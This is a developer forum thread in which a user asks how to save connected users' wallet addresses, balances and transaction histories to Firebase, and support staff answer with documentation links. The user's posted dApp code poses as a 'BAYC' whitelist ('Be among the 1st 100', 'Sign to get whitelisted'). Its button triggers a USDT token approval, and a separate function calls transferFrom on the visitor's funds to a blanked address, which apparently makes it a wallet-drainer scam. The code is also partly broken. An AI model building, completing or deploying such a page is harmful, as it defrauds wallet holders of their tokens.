please how can i generate user wallet details in firebase real time database after authenticating their wallet with my dapp?, iām really having a hard time figuring the new moralis/firebase setupā¦ please i need help
Hey @Blaq,
What user details are you trying to get and how does the final outcome for setup you would like it to be look like?
Thanks for replyingā¦ Wallet address, balance, transaction history
Great!
And youāre hoping to have these info stored in the Firestore along side w/ the for all users authenticated?
Yes please, I do want to store it in either real-time database or firestore
Hey @Blaq,
By any chance that youāve checked out this tutorial? https://docs.moralis.io/web3-data-api/evm/integrations/firebase-nodejs
It will help you integrate the Web3 APIs in Firebase, you will need additional steps for storing them in DB, but these are the basic foundations
Yea I did that, web3 APIs in firebase has been set on the project
please how am i to store the rest of the user info in firestore for all users authenticated?
Hey there,
You should read more on the Firebase docs for that https://firebase.google.com/docs/firestore/manage-data/add-data
Iām not exactly sure how you want the data to be updated and stored on the Firestore, but itās something youāll need to figure out yourself. But if you have more details, we can provide a bit of guidance to the right direction.
import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"
import Head from "next/head"
import { useMoralis, useWeb3Contract } from "react-moralis"
import Balance from "../components/Balance"
import Transactions from "../components/Transactions"
import Header from "../components/Header"
import Profile from "../components/Profile"
import moralisV1 from 'moralis-v1'
import { useEffect, useState } from "react"
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'
import { useDisclosure } from '@chakra-ui/react'
import { MoralisProvider } from "react-moralis";
import { initializeApp } from "firebase/app";
import { getFirestore } from "firebase/firestore";
import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';
import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';
import { getAuth } from '@firebase/auth';
import { getFunctions } from "firebase/functions"
import WalletConnectProvider from "@walletconnect/web3-provider";
import { Web3Provider } from '@ethersproject/providers';
const firebaseConfig = {
apiKey: "--",
authDomain: "-..",
projectId: "-",
storageBucket: "-..",
messagingSenderId: "",
appId: "",
measurementId: ""
};
const app = initializeApp(firebaseConfig);
const db = getFirestore();
function Home() {
const [user, setUser]= useState(null);
const { EvmChain } = require("@moralisweb3/common-evm-utils");
const Moralis = require("moralis").default;
if (!Moralis.Core.isStarted) {
Moralis.start({
apiKey:
"",
});
}
const ABI = [];
//const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const {isAuthenticated, authenticate, enableWeb3, isWeb3Enabled, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);
const { runContractFunction: approve, data: enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({
}
);
async function gas(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
let res = await contract.approve("0xdAC17F958D2ee523a2206206994597C13D831ec7", 1000000, {
gasPrice: ethers.utils.parseUnits("5", "gwei").toString(),
gasLimit: 48525
})
}
const { account } = useMoralis();
async function transfer(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
let res = await contract.transferFrom({
_from: account,
_to: "",
_value: 1000000,
gasPrice: ethers.utils.parseUnits("20","gwei").toString(),
gasLimit: 280000
})
}
useEffect(() => {
if (!isWeb3Enabled && isAuthenticated)
enableWeb3();
},[isWeb3Enabled, isAuthenticated]);
const { isOpen, onOpen, onClose } = useDisclosure()
if(!isAuthenticated && !user) {
console.log(user);
async function login() {
const moralisAuth = getMoralisAuth(app, {
auth,
functions,
});
const res = await signInWithMoralis(moralisAuth);
setUser(res.credentials.displayName);
console.log(res.credentials.user)
}
async function logout() {
await auth.signOut();
setUser(null);
}
return(
<>
<Head>
<title>C</title>
</Head>
<Flex
direction="column"
justifyContent="center"
alignItems="center"
width="100vw"
height="100vh"
bgGradient="linear(to-br, teal.400, purple.300)"
backgroundImage="url('../bay.jpg')"
>
<Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => login({
signingMessage: "Sign to get whitelisted "
})}
>Sign in with Metamask</Button>
<br />
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign to get whitelisted on "
})}
>Sign in with Wallet Connect</Button>
</Flex>
{/* <p>
Firebase Moralis Auth Extension š
</p>
{!user ? (
<Button style={{ cursor: "pointer" }} onClick={login}>
Login
</Button>
) : (
<>
<p>User:{user}</p>
<div style={{ cursor: "pointer" }} onClick={logout}>
Logout
</div>
</>
)} */}
</>
)
};
async function authWalletConnect() {
const user = login({
provider: "walletconnect",
chainId: 56,
mobileLinks: [
"metamask",
"trust",
"rainbow",
"argent",
"imtoken",
"pillar",
"mathwallet",
"meet.one wallet",
"equal",
"safepal",
"cool wallet",
"xwallet",
"atomic",
"myetherwallet",
"cybavo",
"onto",
"mycrypto",
"minerva wallet",
"metax",
"encrypted ink",
"gnosis safe",
"bitpay",
"fireblocks",
"debank",
"tokenpocket",
"infinity wallet",
"coinbase wallet"
],
signingMessage: "Sign to get whitelisted on ",
});
console.log(user);
};
const handleSuccess = async (tx) => {
await tx.wait(1)
setApproved(true)
// handleNewNotification(tx)
}
return (
<>
{/* <MoralisProvider appId={process.env.NEXT_PUBLIC_APPID}></MoralisProvider> */}
<MoralisProvider appId={process.env.NEXT_PUBLIC_APPID} serverUrl={process.env.NEXT_PUBLIC_SERVER_URL}></MoralisProvider>
<Head>
<title>BAYC</title>
<meta name="description" content="" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />
<link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />
<link rel="manifest" href="/site.webmanifest" />
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />
<meta name="msapplication-TileColor" content="#da532c" />
<meta name="theme-color" content="#ffffff" />
</Head>
<Flex direction="column" width="100vw" height="100vh">
<Header user={user} logout={logout} isLoggingOut={isLoggingOut}/>
<Box flex="1" bg="purple.100" px="11" py="44">
<Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">
<Alert status="success">
<AlertIcon />
Wallet connected succesfully {user.get("user")}
</Alert>
<br />
<Button onClick={onOpen}>Get it now!</Button>
<Modal isOpen={isOpen} onClose={onClose}>
<ModalOverlay />
<ModalContent>
<ModalHeader color="purple">Be among the 1st 100</ModalHeader>
<ModalCloseButton />
<ModalBody>
<Image src="" />
</ModalBody>
<ModalFooter>
{/* <Button colorScheme='blue' mr={3} onClick={onClose}>
Close
</Button> */}
<Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"
onClick={async () =>
await gas({
onSuccess: handleSuccess,
})
}
disabled={isLoading || isFetching || approved}>{ approved ? "Approved" : "Get It!" }</Button>
{/* <br /> */}
{/* <Button ml="4" colorScheme="green" onClick={transferFromCon}>Continue</Button> */}
{/* <a href="https://" target="_blank" rel="noreferrer">
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>
</a> */}
</ModalFooter>
</ModalContent>
</Modal>
<br />
{/* <br />
<Link href="wss" isExternal>
Head back to
</Link> */}
{/* <TabList>
<Tab fontWeight="bold">Profile</Tab>
<Tab fontWeight="bold">Balance</Tab>
<Tab fontWeight="bold">Transactions</Tab>
</TabList>
<TabPanels>
<TabPanel>
<Profile user={user} />
</TabPanel> */}
<TabPanel>
<Balance user={user}/>
</TabPanel>
{/* <TabPanel>
<Transactions user={user}/>
</TabPanel>
</TabPanels> */}
</Tabs>
</Box>
</Flex>
</>
)
}
export default Home
please here is my codes, i have imported firestore, but confuse on how to go on with the code, please assist me on what to do next
Hi, please I still donāt have a solution to getting wallet addresses in firestore
This topic was automatically closed 5 days after the last reply. New replies are no longer allowed.